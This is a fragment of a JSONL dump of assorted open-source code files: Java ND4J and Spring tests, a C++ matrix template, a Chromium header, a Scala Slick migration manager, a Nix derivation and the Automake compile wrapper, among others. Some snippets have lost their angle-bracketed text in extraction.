org.nd4j.linalg.factory.Nd4j;\nimport org.nd4j.linalg.factory.Nd4jBackend;\nimport org.nd4j.linalg.indexing.NDArrayIndex;\nimport org.nd4j.linalg.primitives.Triple;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport static org.junit.Assert.*;\n\n/**\n * @author Adam Gibson\n */\n@RunWith(Parameterized.class)\npublic class ShapeTests extends BaseNd4jTest {\n public ShapeTests(Nd4jBackend backend) {\n super(backend);\n }\n\n\n @Test\n public void testRowColVectorVsScalar() {\n INDArray arr = Nd4j.create(2);\n assertTrue(arr.isRowVector());\n INDArray colVector = arr.reshape(2,1);\n assertTrue(colVector.isColumnVector());\n assertFalse(arr.isScalar());\n assertFalse(colVector.isScalar());\n\n INDArray arr3 = Nd4j.scalar(1.0);\n assertFalse(arr3.isColumnVector());\n assertFalse(arr3.isRowVector());\n }\n\n @Test\n public void testSixteenZeroOne() {\n INDArray baseArr = Nd4j.linspace(1, 16, 16).reshape(2, 2, 2, 2);\n assertEquals(4, baseArr.tensorssAlongDimension(0, 1));\n INDArray columnVectorFirst = Nd4j.create(new double[][] {{1, 3}, {2, 4}});\n INDArray columnVectorSecond = Nd4j.create(new double[][] {{9, 11}, {10, 12}});\n INDArray columnVectorThird = Nd4j.create(new double[][] {{5, 7}, {6, 8}});\n INDArray columnVectorFourth = Nd4j.create(new double[][] {{13, 15}, {14, 16}});\n INDArray[] assertions =\n new INDArray[] {columnVectorFirst, columnVectorSecond, columnVectorThird, columnVectorFourth};\n\n for (int i = 0; i < baseArr.tensorssAlongDimension(0, 1); i++) {\n INDArray test = baseArr.tensorAlongDimension(i, 0, 1);\n assertEquals(\"Wrong at index \" + i, assertions[i], test);\n }\n\n }\n\n @Test\n public void testVectorAlongDimension1() {\n INDArray arr = Nd4j.create(1, 5, 5);\n assertEquals(arr.vectorsAlongDimension(0), 5);\n assertEquals(arr.vectorsAlongDimension(1), 5);\n for (int i = 0; i < arr.vectorsAlongDimension(0); i++) {\n if (i < arr.vectorsAlongDimension(0) - 1 && i > 0)\n assertEquals(25, arr.vectorAlongDimension(i, 0).length());\n }\n\n }\n\n @Test\n public void testSixteenSecondDim() {\n INDArray baseArr = Nd4j.linspace(1, 16, 16).reshape(2, 2, 2, 2);\n INDArray[] assertions = new INDArray[] {Nd4j.create(new double[] {1, 5}), Nd4j.create(new double[] {9, 13}),\n Nd4j.create(new double[] {3, 7}), Nd4j.create(new double[] {11, 15}),\n Nd4j.create(new double[] {2, 6}), Nd4j.create(new double[] {10, 14}),\n Nd4j.create(new double[] {4, 8}), Nd4j.create(new double[] {12, 16}),\n\n\n };\n\n for (int i = 0; i < baseArr.tensorssAlongDimension(2); i++) {\n INDArray arr = baseArr.tensorAlongDimension(i, 2);\n assertEquals(\"Failed at index \" + i, assertions[i], arr);\n }\n\n }\n\n\n\n @Test\n public void testVectorAlongDimension() {\n INDArray arr = Nd4j.linspace(1, 24, 24).reshape(4, 3, 2);\n INDArray assertion = Nd4j.create(new float[] {5, 17}, new long[] {1, 2});\n INDArray vectorDimensionTest = arr.vectorAlongDimension(1, 2);\n assertEquals(assertion, vectorDimensionTest);\n INDArray zeroOne = arr.vectorAlongDimension(0, 1);\n assertEquals(zeroOne, Nd4j.create(new float[] {1, 5, 9}));\n\n INDArray testColumn2Assertion = Nd4j.create(new float[] {13, 17, 21});\n INDArray testColumn2 = arr.vectorAlongDimension(1, 1);\n\n assertEquals(testColumn2Assertion, testColumn2);\n\n\n INDArray testColumn3Assertion = Nd4j.create(new float[] {2, 6, 10});\n INDArray testColumn3 = arr.vectorAlongDimension(2, 1);\n assertEquals(testColumn3Assertion, testColumn3);\n\n\n INDArray v1 = Nd4j.linspace(1, 4, 4).reshape(new long[] {2, 2});\n INDArray testColumnV1 = v1.vectorAlongDimension(0, 0);\n INDArray testColumnV1Assertion = Nd4j.create(new float[] {1, 2});\n assertEquals(testColumnV1Assertion, testColumnV1);\n\n INDArray testRowV1 = v1.vectorAlongDimension(1, 0);\n INDArray testRowV1Assertion = Nd4j.create(new float[] {3, 4});\n assertEquals(testRowV1Assertion, testRowV1);\n\n }\n\n @Test\n public void testThreeTwoTwo() {\n INDArray threeTwoTwo = Nd4j.linspace(1, 12, 12).reshape(3, 2, 2);\n INDArray[] assertions = new INDArray[] {Nd4j.create(new double[] {1, 4}), Nd4j.create(new double[] {7, 10}),\n Nd4j.create(new double[] {2, 5}), Nd4j.create(new double[] {8, 11}),\n Nd4j.create(new double[] {3, 6}), Nd4j.create(new double[] {9, 12}),\n\n };\n\n assertEquals(assertions.length, threeTwoTwo.tensorssAlongDimension(1));\n for (int i = 0; i < assertions.length; i++) {\n INDArray test = threeTwoTwo.tensorAlongDimension(i, 1);\n assertEquals(assertions[i], test);\n }\n\n }\n\n @Test\n public void testNoCopy() {\n INDArray threeTwoTwo = Nd4j.linspace(1, 12, 12);\n INDArray arr = Shape.newShapeNoCopy(threeTwoTwo, new long[] {3, 2, 2}, true);\n assertArrayEquals(arr.shape(), new long[] {3, 2, 2});\n }\n\n @Test\n public void testThreeTwoTwoTwo() {\n INDArray threeTwoTwo = Nd4j.linspace(1, 12, 12).reshape(3, 2, 2);\n INDArray[] assertions = new INDArray[] {Nd4j.create(new double[] {1, 7}), Nd4j.create(new double[] {4, 10}),\n Nd4j.create(new double[] {2, 8}), Nd4j.create(new double[] {5, 11}),\n Nd4j.create(new double[] {3, 9}), Nd4j.create(new double[] {6, 12}),\n\n };\n\n assertEquals(assertions.length, threeTwoTwo.tensorssAlongDimension(2));\n for (int i = 0; i < assertions.length; i++) {\n INDArray test = threeTwoTwo.tensorAlongDimension(i, 2);\n assertEquals(assertions[i], test);\n }\n\n }\n\n @Test\n public void testNewAxis() {\n INDArray tensor = Nd4j.linspace(1, 12, 12).reshape(3, 2, 2);\n INDArray assertion = Nd4j.create(new double[][] {{1, 7}, {4, 10}}).reshape(1, 2, 2);\n INDArray tensorGet = tensor.get(NDArrayIndex.point(0), NDArrayIndex.newAxis());\n assertEquals(assertion, tensorGet);\n\n }\n\n\n @Test\n public void testSixteenFirstDim() {\n INDArray baseArr = Nd4j.linspace(1, 16, 16).reshape(2, 2, 2, 2);\n INDArray[] assertions = new INDArray[] {Nd4j.create(new double[] {1, 3}), Nd4j.create(new double[] {9, 11}),\n Nd4j.create(new double[] {5, 7}), Nd4j.create(new double[] {13, 15}),\n Nd4j.create(new double[] {2, 4}), Nd4j.create(new double[] {10, 12}),\n Nd4j.create(new double[] {6, 8}), Nd4j.create(new double[] {14, 16}),\n\n\n };\n\n for (int i = 0; i < baseArr.tensorssAlongDimension(1); i++) {\n INDArray arr = baseArr.tensorAlongDimension(i, 1);\n assertEquals(\"Failed at index \" + i, assertions[i], arr);\n }\n\n }\n\n\n @Test\n public void testDimShuffle() {\n INDArray scalarTest = Nd4j.scalar(0.0);\n INDArray broadcast = scalarTest.dimShuffle(new Object[] {'x'}, new long[] {0, 1}, new boolean[] {true, true});\n assertTrue(broadcast.rank() == 3);\n INDArray rowVector = Nd4j.linspace(1, 4, 4);\n assertEquals(rowVector,\n rowVector.dimShuffle(new Object[] {0, 1}, new int[] {0, 1}, new boolean[] {false, false}));\n //add extra dimension to row vector in middle\n INDArray rearrangedRowVector =\n rowVector.dimShuffle(new Object[] {0, 'x', 1}, new int[] {0, 1}, new boolean[] {true, true});\n assertArrayEquals(new long[] {1, 1, 4}, rearrangedRowVector.shape());\n\n INDArray dimshuffed = rowVector.dimShuffle(new Object[] {'x', 0, 'x', 'x'}, new long[] {0, 1},\n new boolean[] {true, true});\n assertArrayEquals(new long[] {1, 1, 1, 1, 4}, dimshuffed.shape());\n }\n\n\n\n @Test\n public void testEight() {\n INDArray baseArr = Nd4j.linspace(1, 8, 8).reshape(2, 2, 2);\n assertEquals(2, baseArr.tensorssAlongDimension(0, 1));\n INDArray columnVectorFirst = Nd4j.create(new double[][] {{1, 3}, {2, 4}});\n INDArray columnVectorSecond = Nd4j.create(new double[][] {{5, 7}, {6, 8}});\n assertEquals(columnVectorFirst, baseArr.tensorAlongDimension(0, 0, 1));\n assertEquals(columnVectorSecond, baseArr.tensorAlongDimension(1, 0, 1));\n }\n\n @Test\n public void testBroadcastShapes(){\n //Test cases: in1Shape, in2Shape, shapeOf(op(in1,in2))\n List> testCases = new ArrayList<>();\n testCases.add(new Triple<>(new long[]{3,1}, new long[]{1,4}, new long[]{3,4}));\n testCases.add(new Triple<>(new long[]{3,1}, new long[]{3,4}, new long[]{3,4}));\n testCases.add(new Triple<>(new long[]{3,4}, new long[]{1,4}, new long[]{3,4}));\n testCases.add(new Triple<>(new long[]{3,4,1}, new long[]{1,1,5}, new long[]{3,4,5}));\n testCases.add(new Triple<>(new long[]{3,4,1}, new long[]{3,1,5}, new long[]{3,4,5}));\n testCases.add(new Triple<>(new long[]{3,1,5}, new long[]{1,4,1}, new long[]{3,4,5}));\n testCases.add(new Triple<>(new long[]{3,1,5}, new long[]{1,4,5}, new long[]{3,4,5}));\n testCases.add(new Triple<>(new long[]{3,1,5}, new long[]{3,4,5}, new long[]{3,4,5}));\n testCases.add(new Triple<>(new long[]{3,1,1,1}, new long[]{1,4,5,6}, new long[]{3,4,5,6}));\n testCases.add(new Triple<>(new long[]{1,1,1,6}, new long[]{3,4,5,6}, new long[]{3,4,5,6}));\n testCases.add(new Triple<>(new long[]{1,4,5,1}, new long[]{3,1,1,6}, new long[]{3,4,5,6}));\n testCases.add(new Triple<>(new long[]{1,6}, new long[]{3,4,5,1}, new long[]{3,4,5,6}));\n\n for(Triple t : testCases){\n val x = t.getFirst();\n val y = t.getSecond();\n val exp = t.getThird();\n\n val act = Shape.broadcastOutputShape(x,y);\n assertArrayEquals(exp,act);\n }\n }\n\n\n @Override\n public char ordering() {\n return 'f';\n }\n}\n"} -{"text": "class UWindowConsoleWindow extends UWindowFramedWindow;\n\nvar float OldParentWidth, OldParentHeight;\n\nfunction Created() \n{\n\tSuper.Created();\n\tbSizable = True;\n\tbStatusBar = True;\n\tbLeaveOnScreen = True;\n\n\tOldParentWidth = ParentWindow.WinWidth;\n\tOldParentHeight = ParentWindow.WinHeight;\n\n\tSetDimensions();\n\n\tSetAcceptsFocus();\n}\n\nfunction ShowWindow()\n{\n\tSuper.ShowWindow();\n\n\tif(ParentWindow.WinWidth != OldParentWidth || ParentWindow.WinHeight != OldParentHeight)\n\t{\n\t\tSetDimensions();\n\t\tOldParentWidth = ParentWindow.WinWidth;\n\t\tOldParentHeight = ParentWindow.WinHeight;\n\t}\n}\n\nfunction ResolutionChanged(float W, float H)\n{\n\tSetDimensions();\n}\n\nfunction SetDimensions()\n{\n\tif (ParentWindow.WinWidth < 500)\n\t{\n\t\tSetSize(200, 150);\n\t} else {\n\t\tSetSize(410, 310);\n\t}\n\tWinLeft = ParentWindow.WinWidth/2 - WinWidth/2;\n\tWinTop = ParentWindow.WinHeight/2 - WinHeight/2;\n}\n\nfunction Close(optional bool bByParent)\n{\n\tClientArea.Close(True);\n\tRoot.GotoState('');\n}\n\t\ndefaultproperties\n{\n\tWindowTitle=\"Game Console\";\n\tClientClass=class'UWindowConsoleClientWindow'\n}"} -{"text": "--TEST--\nBug #37176 (iconv_strpos() fails to find a string)\n--SKIPIF--\n\n--FILE--\n\n--EXPECT--\nint(1)\nint(2)\n"} -{"text": "#include \n#define endl '\\n'\n\nusing namespace std;\nconst int MAXN = (1 << 20);\nconst int mod = (int)1e9 + 7;\nconst int64_t inf = (int64_t)1e16 + 42;\n\ntemplate\nstruct matrix\n{\n\tint n;\n\tvector > t;\n\n\tmatrix(int _n, T val) {n = _n; t.assign(n, vector(n, val)); }\n\tmatrix(int _n) {n = _n; t.assign(n, vector(n, 0)); }\n matrix() { n = 0; t.clear(); }\n\n\tmatrix operator * (matrix b)\n\t{\n\t\tmatrix c = matrix(n, 0);\n\t\tfor(int i = 0; i < n; i++)\n\t\t\tfor(int k = 0; k < n; k++)\n\t\t\t\tfor(int j = 0; j < n; j++)\n\t\t\t\t\tc.t[i][j] = (c.t[i][j] + t[i][k] * b.t[k][j]) % mod;\n\t\treturn c;\n\t}\n\n\tvector operator * (vector b)\n\t{\n\t\tvector c = vector(n, 0);\n\t\tfor(int i = 0; i < n; i++)\n\t\t\tfor(int j = 0; j < n; j++)\n c[i] = (c[i] + t[i][j] * b[j]) % mod;\n\n\t\treturn c;\n\t}\n\n\tmatrix operator ^ (matrix b)\n\t{\n\t\tmatrix c = matrix(n, inf);\n\t\tfor(int i = 0; i < n; i++)\n\t\t\tfor(int k = 0; k < n; k++)\n\t\t\t\tfor(int j = 0; j < n; j++)\n\t\t\t\t\tc.t[i][j] = min(c.t[i][j], t[i][k] + b.t[k][j]);\n\t\treturn c;\n\t}\n\n\tmatrix operator + (matrix b)\n\t{\n\t\tmatrix c = matrix(n);\n\t\tfor(int i = 0; i < n; i++)\n\t\t\tfor(int j = 0; j < n; j++)\n\t\t\t\tc.t[i][j] = (t[i][j] + b.t[i][j]) % mod;\n\n\t\treturn c;\n\t}\n\n\tmatrix operator - (matrix b)\n\t{\n\t\tmatrix c = matrix(n);\n\t\tfor(int i = 0; i < n; i++)\n for(int j = 0; j < n; j++)\n\t\t\t\tc.t[i][j] = (t[i][j] - b.t[i][j] + mod) % mod;\n\n\t\treturn c;\n\t}\n\n\tmatrix operator & (matrix b)\n\t{\n\t\tmatrix c = matrix(n, -inf);\n\t\tfor(int i = 0; i < n; i++)\n\t\t\tfor(int k = 0; k < n; k++)\n\t\t\t\tfor(int j = 0; j < n; j++)\n\t\t\t\t\tc.t[i][j] = max(c.t[i][j], t[i][k] + b.t[k][j]);\n\n\t\treturn c;\n\t}\n};\n\ntemplate\nmatrix pow_min(matrix base, int64_t p)\n{\n\tif(p == 1) return base;\n\n\tif(p % 2ll == 0ll)\n\t{\n\t\tmatrix d = pow_min(base, p / 2ll);\n\t\treturn d ^ d;\n\t}\n\n\treturn base ^ pow_min(base, p - 1);\n}\n\ntemplate\nmatrix pow_max(matrix base, int64_t p)\n{\n\tif(p == 1) return base;\n\n\tif(p % 2ll == 0ll)\n\t{\n\t\tmatrix d = pow_max(base, p / 2ll);\n\t\treturn d & d;\n\t}\n\n\treturn base & pow_max(base, p - 1);\n}\n\ntemplate\nmatrix pow(matrix base, int64_t p)\n{\n\tif(p == 1) return base;\n\n\tif(p % 2ll == 0ll)\n\t{\n\t\tmatrix d = pow(base, p / 2ll);\n\t\treturn d * d;\n\t}\n\n\treturn base * pow(base, p - 1);\n}\n\ntemplate\nvoid print(matrix mat)\n{\n\tfor(int i = 0; i < mat.n; i++)\n\t\tfor(int j = 0; j < mat.n; j++)\n\t\t\tif(mat.t[i][j] < inf) cout << mat.t[i][j] << \" \\n\"[j == mat.n - 1];\n\t\t\telse cout << \"inf\" << \" \\n\"[j == mat.n - 1];\n\n\tcout << endl;\n}\n\nvoid read()\n{\n\n}\n\nvoid solve()\n{\n\n}\n\nint main()\n{\n\tios_base::sync_with_stdio(false);\n\tcin.tie(NULL);\n\n\tread();\n\tsolve();\n\treturn 0;\n}\n\n"} -{"text": "#!/usr/bin/ruby\n\n$:.unshift '../lib'\n\nrequire 'test/unit'\nrequire 'xmpp4r/rexmladdons'\nrequire 'xmpp4r/query'\ninclude Jabber\n\nclass IqQueryTest < Test::Unit::TestCase\n def test_create\n x = IqQuery.new()\n assert_equal(\"query\", x.name)\n assert_equal(\"\", x.to_s)\n end\n\n def test_import\n q = IqQuery.new\n assert_equal(IqQuery, q.class)\n\n e = REXML::Element.new('query')\n e.add_namespace('jabber:iq:roster')\n # kind_of? only checks that the class belongs to the IqQuery class\n # hierarchy. See IqQueryRosterTest#test_import for a more strict\n # check.\n assert_kind_of(IqQuery, IqQuery.import(e))\n\n # Importing specific derivates is to be tested in the test case of the derivate\n # (e.g. tc_iqqueryroster.rb)\n end\nend\n"} -{"text": "# SPDX-License-Identifier: GPL-2.0\nCC := $(CROSS_COMPILE)gcc\nCFLAGS := -I../../usr/include\n\nPROGS := getdelays\n\nall: $(PROGS)\n\nclean:\n\trm -fr $(PROGS)\n"} -{"text": "package com.amazonaws.serverless.proxy.spring.embedded;\n\nimport com.amazonaws.serverless.exceptions.ContainerInitializationException;\nimport com.amazonaws.serverless.proxy.spring.SpringBootLambdaContainerHandler;\nimport com.amazonaws.serverless.proxy.spring.springbootapp.TestApplication;\nimport org.junit.BeforeClass;\nimport org.junit.Test;\nimport org.springframework.boot.context.embedded.EmbeddedServletContainer;\nimport org.springframework.boot.context.embedded.EmbeddedServletContainerException;\nimport org.springframework.boot.web.servlet.ServletContextInitializer;\nimport org.springframework.core.SpringVersion;\n\nimport javax.servlet.*;\nimport java.io.IOException;\nimport java.util.Objects;\n\nimport static org.junit.Assert.*;\nimport static org.junit.Assume.assumeFalse;\n\npublic class ServerlessServletEmbeddedServerFactoryTest {\n\n @BeforeClass\n public static void before() {\n // We skip the tests if we are running against Spring 5.2.x - SpringBoot 1.5 is deprecated and no longer\n // breaking changes in the latest Spring releases have not been supported in it.\n // TODO: Update the check to verify any Spring version above 5.2\n assumeFalse(Objects.requireNonNull(SpringVersion.getVersion()).startsWith(\"5.2\"));\n }\n\n // initialize a container handler to that the embedded factory can grab its instnace\n private SpringBootLambdaContainerHandler h = SpringBootLambdaContainerHandler.getAwsProxyHandler(TestApplication.class);\n\n public ServerlessServletEmbeddedServerFactoryTest() throws ContainerInitializationException {\n }\n\n @Test\n public void getContainer_populatesInitializers() {\n ServerlessServletEmbeddedServerFactory factory = new ServerlessServletEmbeddedServerFactory();\n TestServlet initializer = new TestServlet(false);\n EmbeddedServletContainer container = factory.getEmbeddedServletContainer(initializer);\n assertNotNull(((ServerlessServletEmbeddedServerFactory)container).getInitializers());\n assertEquals(1, ((ServerlessServletEmbeddedServerFactory)container).getInitializers().length);\n assertEquals(initializer, ((ServerlessServletEmbeddedServerFactory)container).getInitializers()[0]);\n container.stop(); // calling stop just once to get the test coverage since there's no code in it\n }\n\n @Test\n public void start_throwsException() {\n ServerlessServletEmbeddedServerFactory factory = new ServerlessServletEmbeddedServerFactory();\n TestServlet initializer = new TestServlet(true);\n EmbeddedServletContainer container = factory.getEmbeddedServletContainer(initializer);\n try {\n container.start();\n } catch (EmbeddedServletContainerException e) {\n assertTrue(ServletException.class.isAssignableFrom(e.getCause().getClass()));\n assertEquals(TestServlet.EXCEPTION_MESSAGE, e.getCause().getMessage());\n return;\n }\n fail(\"Did not throw the expected exception\");\n }\n\n @Test\n public void start_withoutException_setsServletContext() {\n ServerlessServletEmbeddedServerFactory factory = new ServerlessServletEmbeddedServerFactory();\n TestServlet initializer = new TestServlet(false);\n EmbeddedServletContainer container = factory.getEmbeddedServletContainer(initializer);\n container.start();\n assertNotNull(initializer.getCtx());\n assertEquals(h.getServletContext(), initializer.getCtx());\n }\n\n public static class TestServlet implements Servlet, ServletContextInitializer {\n private ServletContext ctx;\n private boolean throwOnInit;\n public static final String EXCEPTION_MESSAGE = \"Throw on init\";\n\n public TestServlet(boolean throwOnInit) {\n this.throwOnInit = throwOnInit;\n }\n\n @Override\n public void init(ServletConfig servletConfig) throws ServletException {\n\n }\n\n @Override\n public ServletConfig getServletConfig() {\n return null;\n }\n\n @Override\n public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {\n\n }\n\n @Override\n public String getServletInfo() {\n return null;\n }\n\n @Override\n public void destroy() {\n\n }\n\n @Override\n public void onStartup(ServletContext servletContext) throws ServletException {\n ctx = servletContext;\n if (throwOnInit) {\n throw new ServletException(EXCEPTION_MESSAGE);\n }\n }\n\n public ServletContext getCtx() {\n return ctx;\n }\n }\n}\n"} -{"text": "\n\n\n \n \n \n \n \n \n \n \n \n\n\n"} -{"text": "// Copyright 2014 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef MEDIA_BASE_CDM_PROMISE_H_\n#define MEDIA_BASE_CDM_PROMISE_H_\n\n#include \n\n#include \n\n#include \"base/logging.h\"\n#include \"base/macros.h\"\n#include \"media/base/media_export.h\"\n#include \"media/base/media_keys.h\"\n\nnamespace media {\n\n// Interface for promises being resolved/rejected in response to various\n// session actions. These may be called synchronously or asynchronously.\n// The promise must be resolved or rejected exactly once. It is expected that\n// the caller free the promise once it is resolved/rejected.\n\n// These classes are almost generic, except for the parameters to reject(). If\n// a generic class for promises is available, this could be changed to use the\n// generic class as long as the parameters to reject() can be set appropriately.\n\n// The base class only has a reject() method and GetResolveParameterType() that\n// indicates the type of CdmPromiseTemplate. CdmPromiseTemplate adds the\n// resolve(T) method that is dependent on the type of promise. This base class\n// is specified so that the promises can be easily saved before passing across\n// the pepper interface.\nclass MEDIA_EXPORT CdmPromise {\n public:\n enum ResolveParameterType {\n VOID_TYPE,\n INT_TYPE,\n STRING_TYPE,\n KEY_IDS_VECTOR_TYPE\n };\n\n CdmPromise();\n virtual ~CdmPromise();\n\n // Used to indicate that the operation failed. |exception_code| must be\n // specified. |system_code| is a Key System-specific value for the error\n // that occurred, or 0 if there is no associated status code or such status\n // codes are not supported by the Key System. |error_message| is optional.\n virtual void reject(MediaKeys::Exception exception_code,\n uint32_t system_code,\n const std::string& error_message) = 0;\n\n // Used to determine the template type of CdmPromiseTemplate so that\n // saved CdmPromise objects can be cast to the correct templated version.\n virtual ResolveParameterType GetResolveParameterType() const = 0;\n\n private:\n DISALLOW_COPY_AND_ASSIGN(CdmPromise);\n};\n\n// For some reason the Windows compiler is not happy with the implementation\n// of CdmPromiseTemplate being in the .cc file, so moving it here.\ntemplate \nstruct CdmPromiseTraits {};\n\ntemplate <>\nstruct CdmPromiseTraits<> {\n static const CdmPromise::ResolveParameterType kType = CdmPromise::VOID_TYPE;\n};\n\ntemplate <>\nstruct CdmPromiseTraits {\n static const CdmPromise::ResolveParameterType kType = CdmPromise::INT_TYPE;\n};\n\ntemplate <>\nstruct CdmPromiseTraits {\n static const CdmPromise::ResolveParameterType kType = CdmPromise::STRING_TYPE;\n};\n\n// This class adds the resolve(T) method. This class is still an interface, and\n// is used as the type of promise that gets passed around.\ntemplate \nclass MEDIA_EXPORT CdmPromiseTemplate : public CdmPromise {\n public:\n CdmPromiseTemplate() : is_settled_(false) {}\n\n virtual ~CdmPromiseTemplate() { DCHECK(is_settled_); }\n\n virtual void resolve(const T&... result) = 0;\n\n // CdmPromise implementation.\n virtual void reject(MediaKeys::Exception exception_code,\n uint32_t system_code,\n const std::string& error_message) = 0;\n\n ResolveParameterType GetResolveParameterType() const override {\n return CdmPromiseTraits::kType;\n }\n\n protected:\n bool IsPromiseSettled() const { return is_settled_; }\n\n // All implementations must call this method in resolve() and reject() methods\n // to indicate that the promise has been settled.\n void MarkPromiseSettled() {\n // Promise can only be settled once.\n DCHECK(!is_settled_);\n is_settled_ = true;\n }\n\n // Must be called by the concrete destructor if !IsPromiseSettled().\n // Note: We can't call reject() in ~CdmPromise() because reject() is virtual.\n void RejectPromiseOnDestruction() {\n DCHECK(!is_settled_);\n std::string message =\n \"Unfulfilled promise rejected automatically during destruction.\";\n DVLOG(1) << message;\n reject(MediaKeys::INVALID_STATE_ERROR, 0, message);\n DCHECK(is_settled_);\n }\n\n private:\n // Keep track of whether the promise has been resolved or rejected yet.\n bool is_settled_;\n\n DISALLOW_COPY_AND_ASSIGN(CdmPromiseTemplate);\n};\n\n} // namespace media\n\n#endif // MEDIA_BASE_CDM_PROMISE_H_\n"} -{"text": "\ufeffPagina che visualizza un [controllo RadDataGrid](http://www.telerik.com/universal-windows-platform-ui/grid), con tecnologia [Telerik UI per UWP](http://www.telerik.com/universal-windows-platform-ui) che \u00e8 disponibile [in commercio](http://www.telerik.com/purchase/universal-windows-platform) e [open source](https://github.com/telerik/UI-For-UWP).\n\n\u00c8 una griglia nativa, completa e potente che offre prestazioni senza pari. Offre virtualizzazione avanzata dell'interfaccia utente, colonne personalizzabili, ordinamento a una e a pi\u00f9 colonne, modifica di dati, selezione e filtraggio.\n\nPer ulteriori dettagli sull'uso di questo controllo, vedi la [documentazione introduttiva ufficiale](http://docs.telerik.com/windows-universal/controls/radchart/getting-started).\n"} -{"text": "StartChar: A.ordn\nEncoding: 65843 -1 1435\nWidth: 445\nVWidth: 280\nFlags: MW\nLayerCount: 2\nFore\nRefer: 1231 -1 N 1 0 0 1 86 280 2\nValidated: 1\nComment: \".\" \nEndChar\n"} -{"text": "{ mkDerivation, base, bytestring, containers, explicit-exception\n, extensible-exceptions, sample-frame, sox, stdenv, storablevector\n, transformers, utility-ht\n}:\nmkDerivation {\n pname = \"soxlib\";\n version = \"0.0.3\";\n sha256 = \"deadbeef\";\n isLibrary = true;\n isExecutable = true;\n libraryHaskellDepends = [\n base bytestring containers explicit-exception extensible-exceptions\n sample-frame storablevector transformers utility-ht\n ];\n libraryPkgconfigDepends = [ sox ];\n homepage = \"http://www.haskell.org/haskellwiki/Sox\";\n description = \"Write, read, convert audio signals using libsox\";\n license = stdenv.lib.licenses.bsd3;\n}\n"} -{"text": "package com.liyaos.forklift.slick\n\nimport com.typesafe.config._\nimport scala.concurrent.duration._\nimport scala.concurrent.Future\nimport scala.concurrent.Await\nimport scala.concurrent.ExecutionContext.Implicits.global\nimport slick.backend.DatabaseConfig\nimport slick.jdbc.JdbcProfile\nimport slick.jdbc.meta.MTable\nimport com.liyaos.forklift.core.Migration\nimport com.liyaos.forklift.core.MigrationManager\n\ntrait SlickMigrationManager\n extends MigrationManager[Int, slick.dbio.DBIO[Unit]] {\n lazy val dbConfig = SlickMigrationsConfig.dbConfig\n\n import dbConfig.profile.api._\n\n class MigrationsTable(tag: Tag) extends Table[Int](tag, \"__migrations__\") {\n def id = column[Int](\"id\", O.PrimaryKey)\n def * = id\n }\n\n class DummyTable(tag: Tag, name: String) extends Table[Int](tag, name) {\n def id = column[Int](\"id\")\n def * = id\n }\n\n type SlickMigration = Migration[Int, DBIO[Unit]]\n\n lazy val db = dbConfig.db\n\n lazy val migrationsTable = TableQuery[MigrationsTable]\n override def init = {\n val f = db.run(migrationsTable.schema.create)\n Await.result(f, Duration.Inf)\n }\n override def alreadyAppliedIds = {\n val f = db.run(migrationsTable.map(_.id).result)\n Await.result(f, Duration.Inf)\n }\n def latest =\n if (alreadyAppliedIds.isEmpty) None\n else Some(alreadyAppliedIds.last)\n\n override protected def up(migrations: Iterator[SlickMigration]) = {\n val ups = DBIO.sequence(migrations flatMap { m =>\n List(m.up, migrationsTable += m.id)\n }).transactionally\n val f = db.run(ups)\n Await.result(f, Duration.Inf)\n }\n\n override def reset = {\n val drop = MTable.getTables(None, None, None, None).flatMap { s =>\n DBIO.sequence(s filter { t =>\n t.tableType != null && t.tableType.toLowerCase == \"table\"\n } map { t =>\n TableQuery(new DummyTable(_, t.name.name)).schema.drop\n })\n }\n val f = db.run(drop)\n Await.result(f, Duration.Inf)\n }\n}\n"} -{"text": "#! /bin/sh\n# Wrapper for compilers which do not understand '-c -o'.\n\nscriptversion=2012-03-05.13; # UTC\n\n# Copyright (C) 1999, 2000, 2003, 2004, 2005, 2009, 2010, 2012 Free\n# Software Foundation, Inc.\n# Written by Tom Tromey .\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2, or (at your option)\n# any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n\n# As a special exception to the GNU General Public License, if you\n# distribute this file as part of a program that contains a\n# configuration script generated by Autoconf, you may include it under\n# the same distribution terms that you use for the rest of that program.\n\n# This file is maintained in Automake, please report\n# bugs to or send patches to\n# .\n\nnl='\n'\n\n# We need space, tab and new line, in precisely that order. Quoting is\n# there to prevent tools from complaining about whitespace usage.\nIFS=\" \"\"\t$nl\"\n\nfile_conv=\n\n# func_file_conv build_file lazy\n# Convert a $build file to $host form and store it in $file\n# Currently only supports Windows hosts. If the determined conversion\n# type is listed in (the comma separated) LAZY, no conversion will\n# take place.\nfunc_file_conv ()\n{\n file=$1\n case $file in\n / | /[!/]*) # absolute file, and not a UNC file\n if test -z \"$file_conv\"; then\n\t# lazily determine how to convert abs files\n\tcase `uname -s` in\n\t MINGW*)\n\t file_conv=mingw\n\t ;;\n\t CYGWIN*)\n\t file_conv=cygwin\n\t ;;\n\t *)\n\t file_conv=wine\n\t ;;\n\tesac\n fi\n case $file_conv/,$2, in\n\t*,$file_conv,*)\n\t ;;\n\tmingw/*)\n\t file=`cmd //C echo \"$file \" | sed -e 's/\"\\(.*\\) \" *$/\\1/'`\n\t ;;\n\tcygwin/*)\n\t file=`cygpath -m \"$file\" || echo \"$file\"`\n\t ;;\n\twine/*)\n\t file=`winepath -w \"$file\" || echo \"$file\"`\n\t ;;\n esac\n ;;\n esac\n}\n\n# func_cl_dashL linkdir\n# Make cl look for libraries in LINKDIR\nfunc_cl_dashL ()\n{\n func_file_conv \"$1\"\n if test -z \"$lib_path\"; then\n lib_path=$file\n else\n lib_path=\"$lib_path;$file\"\n fi\n linker_opts=\"$linker_opts -LIBPATH:$file\"\n}\n\n# func_cl_dashl library\n# Do a library search-path lookup for cl\nfunc_cl_dashl ()\n{\n lib=$1\n found=no\n save_IFS=$IFS\n IFS=';'\n for dir in $lib_path $LIB\n do\n IFS=$save_IFS\n if $shared && test -f \"$dir/$lib.dll.lib\"; then\n found=yes\n lib=$dir/$lib.dll.lib\n break\n fi\n if test -f \"$dir/$lib.lib\"; then\n found=yes\n lib=$dir/$lib.lib\n break\n fi\n done\n IFS=$save_IFS\n\n if test \"$found\" != yes; then\n 